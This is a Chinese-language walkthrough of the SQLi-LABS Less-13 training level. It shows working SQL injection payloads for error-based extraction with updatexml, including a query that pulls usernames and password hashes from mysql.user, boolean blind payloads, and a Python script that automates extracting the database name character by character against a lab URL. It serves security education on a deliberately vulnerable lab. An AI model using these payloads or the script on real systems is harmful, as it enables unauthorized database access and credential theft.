SQLi LABS Less-13 报错注入+布尔盲注

2023-10-27

第十三关是单引号+括号的字符型注入,推荐使用报错注入、布尔盲注。

目录

一、功能分析

二、思路分析

三、解题步骤

方式一:报错注入

第一步、判断注入点

第二步、判断报错条件

第三步、脱库

方式二、布尔盲注

第一步、判断注入点类型

 第二步、判断长度

第三步、枚举字符

脱库


一、功能分析

输入用户名和密码,后台查询数据库,查询到则登录成功,查询不到则登录失败。

二、思路分析

参数中添加单引号会报错,可以考虑使用报错注入。

因为不知道真实的用户名和密码,可以使用万能账号尝试登录。

登录成功时,会提示成功(写死的图片);登录失败时,会提示失败(写死的图片),可以考虑布尔盲注。

没有显示位,不适合联合注入。

三、解题步骤

方式一:报错注入

第一步、判断注入点

用户名输入:a'

密码随便输入:1

页面显示数据库的报错信息,从报错信息中判断出,注入点为:单引号+括号的字符型注入。

第二步、判断报错条件

用户名输入:a') and updatexml(1,0x7e,3) -- a

密码随便输入:1

页面显示了报错函数指定的内容,确定报错函数可用。

第三步、脱库

获取数据库管理员的密码,用户名输入以下payload,密码随便输入:

a') and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user where user = 'mituan'
    ))
,3) -- a

 获取成功:

 其余脱库操作,将圈中的部分替换为SQL语句即可:

常见的脱库语句有:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
 
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
 
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"

方式二:布尔盲注

推荐文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点类型

用户名输入:a') or 1 -- a

密码随便输入:1,页面正常显示(登录成功)

用户名输入:a') or 0 -- a

密码随便输入:1,页面异常显示(登录失败)

 第二步、判断长度

判断当前使用数据库名字的长度是否大于1,用户名输入:

a') or length(
	(database())
)>1 -- a

页面正常显示,表示payload可用。

从1开始递增测试的长度,可判断出具体的长度,稍后使用脚本自动化猜解。

第三步、枚举字符

截取当前使用数据库名字的第一个字符,为了方便脚本的编写,这里将字符转换为ASCLL再判断。

判断第一个字符的ASCLL码是否大于1,用户名输入:

a') or ascii(
    substr(
        (database())
    ,1,1)
)>1 -- a

字符的ASCLL码肯定大于1,页面正常显示,表示payload可用。

接下来使用穷举法,枚举该字符的所有可能性(对应的ASCLL码为:32~126)。

猜中第一个字符以后,再用此方法枚举其余字符,为了提高效率,稍后使用脚本自动化枚举。

脱库

Python自动化猜解脚本如下,可按需修改:

import requests

# 网站路径
url = "http://00b5c770b91b4b7aae704c39602fc0f9.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
	(database())
) ={n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
    substr(
        (database())
    ,{l},1)
) ={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('测试成功,长度为:', length)
            return length;
        else:
            print('正在测试长度:', length)
            length += 1


# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

length = getLen(payload_len)
getStr(length)

执行结果如下:

其他脱库操作时,将下面圈起来的地方替换成SQL语句即可:

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi LABS Less-13 报错注入+布尔盲注 的相关文章

  • Linux Oracle使用常用命令

    ps ef grep oracle 查看Oracle启动的进程 常被用作查看Oracle服务是否已启动 登录Oracle sqlplus nolog conn as sysdba sqlplul as sysdba sqlplul as s
  • linux安装mysql8.0详解

    linux安装mysql8 0 一 安装前准备工作 二 安装mysql 三 配置mysql 一 安装前准备工作 1 卸载系统自带的mariadb root mesdb01 dbdata rpm qa grep mariadb mariadb
  • shell编程

    版权声明 本文为博主原创文章 遵循 CC 4 0 BY SA 版权协议 转载请附上原文出处链接和本声明 本文链接 https blog csdn net Leo1120178518 article details 100055607 She
  • MUI扫描功能的实现

    开发手机APP时经常需要用到扫描二维码 条码的功能 在使用MUI框架开发时 我们可以使用H5plus封装好的Barcode类 Barcode模块管理条码扫描 提供常见的条码 二维码及一维码 的扫描识别功能 可调用设备的摄像头对条码图片扫描进

随机推荐

  • 整合springBoot+SSM及框架说明

    目录 1 关于springBoot的说明 1 1 springBoot的定义 1 2 springBoot的作用 2 关于springMVC的说明 2 1 springMVC的作用 3 Spring的的作用 4 mybatis的作用 一 创
  • 轻松搞懂Linux中的用户管理

    文章目录 概念 用户账户 用户组 用户权限 用户管理工具 概念 用户管理是Linux系统管理员必须掌握的重要技能之一 Linux系统是一个多用户操作系统 可以支持多个用户同时使用 每个用户拥有自己的账户和权限 因此管理员需要了解如何创建 管
  • vue之父子组件间通信实例讲解(props、$ref、$emit)

    组件是 vue js 最强大的功能之一 而组件实例的作用域是相互独立的 这就意味着不同组件之间的数据无法相互引用 那么组件间如何通信 也就成为了vue中重点知识了 这篇文章将会通过props ref和 emit 这几个知识点 来讲解如何实现
  • vue自定义指令

    除了核心功能默认内置的指令 v model 和 v show Vue 也允许注册自定义指令 有的情况下 对普通 DOM 元素进行底层操作 这时候就会用到自定义指令 下面定义了一个v test指令绑定数据name
  • jupyter的安装步骤

    1 安装python文件 首先去官网python去下载python的安装包 点击donwload 选择合适的系统 这里我是windown系统 点击进去 如图找到有installer的去下载 不建议下载最新版本的 会有兼容问题 2 安装pyt
  • Qgis python开发教程(一)Introduction

    最近工作中用到Qgis开发 找了网上一圈 关于python的开发很少 最后找到官方API 官方API很不错 但是英文难免麻烦一些 自己尝试翻译出来并实践一下 以备自己后续的学习 并非逐字逐句翻译 就是把自己认为重点的地方记录摘要 水平有限
  • C++建造者模式:Builder Pattern

    建造者模式又称生成者模式 该模式是一种创建型设计模式 能够分步骤创建复杂对象 该模式允许使用相同的创建代码通过不同的创建过程生成不同类型的对象 建造者模式 Builder 所构建的对象一定是庞大而复杂的 并且一定是按照既定的制造工序将组件组
  • Android判断是否安装某App

    开发过程中会遇到跳转其他App的情况 诸如支付宝支付跳转 更新跳转等 跳转之前需要判断手机是否安装该App 以下以应用宝为例 public boolean isMobile spExist PackageManager manager th
  • AI驱动的大数据创新:探索软件开发中的机会和挑战

    文章目录 机会 数据驱动的决策 自动化和效率提升 智能预测和优化 个性化体验 挑战 数据隐私与安全 技术复杂性 数据质量和清洗 伦理和社会问题 案例 智能代码生成工具 总结 个人主页 程序员 小侯 CSDN新晋作者 欢迎 点赞 评论 收藏
  • 前端三大件基础知识汇总【自用】

    一 HTML5和CSS3 HTML5 CSS3 二 Javascript基础 1 基础语法 2 Javascript 对象 3 DOM 4 Javascript 事件 5 BOM 补充 图片切换练习 1 clearInterval 可以接收
  • 《nginx》一、nginx核心指令

    nginx conf 配置文件主要分为三部分 全局块 events块 http块 1 全局块核心参数 user USERNAME GROUP 解释 指定运行nginx的worker子进程的属主和属组 其中属组可以不指定 示例 user ng
  • Java实现Apache sshd客户端(密码和公钥登录并执行命令)

    第一步 引入依赖
  • iPad 图标变小而分散 解决方法

    想必各位都遇到过这种情况吧 当你装了某个不正常cydia插件以后 ipad变成iphone界面 图标小而分散 状态栏变得花屏 而任何程序包括cydia都打不开时 请大家不要急着重新恢复ipad 可以按照我这个办法拯救一下 我也是今天4 3
  • 狂神说MyBatis02:CRUD操作及配置解析

    狂神说MyBatis系列连载课程 通俗易懂 基于MyBatis3 5 2版本 欢迎各位狂粉转发关注学习 视频同步文档 未经作者授权 禁止转载 CRUD操作 上集回顾 狂神说MyBatis01 第一个程序 namespace 将上面案例中的U
  • 云计算与大数据概论第七周

    大数据分析是指对规模巨大的数据进行分析 大数据可以概括为5个V 数据量大 Volume 速度快 Velocity 类型多 Variety 价值 Value 真实性 Veracity 大数据作为时下最火热的IT行业的词汇 随之而来的数据仓库
  • Linux下gdb编译调试程序

    Linux下gdb编译调试程序 前言 一 调试前的准备 二 gdb中断点的使用 三 gdb中运行调试程序 四 gdb中打印值和监控值 总结 参考 前言 本文记录调试工具gdb的一些基础使用方式 gdb是一个程序调试工具 注意 如果是程序语法
  • R语言ggplot2可视化绘制带有多个y轴的分面图

    R语言ggplot2可视化绘制带有多个y轴的分面图 在数据可视化中 分面图是一种常用的绘图方式 可以同时展示多个变量之间的关系 而ggplot2是R语言中一个强大的数据可视化包 可以用于创建精美的分面图 对于某些情况下 我们可能需要在分面图
  • Registry新建以及版本

    1 美图 2 添加新的schema 现在 我们可以访问Web UI了 让我们尝试向注册表添加新的架构 您的HDF版本中可能已经包含了一些模式 但是请继续并让我们添加另一个 单击 界面右上方的 符号 这将打开一个名为 Add New Sche
  • vue学习(十三) 删除对象数组中的某个元素

    html div v for循环就不写了 每一条数据最后都有一个删除的超链 prevent阻止默认的跳转行为 只执行点击事件 a href 删除 a div script
  • SQLi LABS Less-13 报错注入+布尔盲注

    第十三关是单引号 括号的字符型注入 推荐使用报错注入 布尔盲注 目录 一 功能分析 二 思路分析 三 解题步骤 方式一 报错注入 第一步 判断注入点 第二步 判断报错条件 第三步 脱库 方式二 布尔盲注 第一步 判断注入点类型 第二步 判断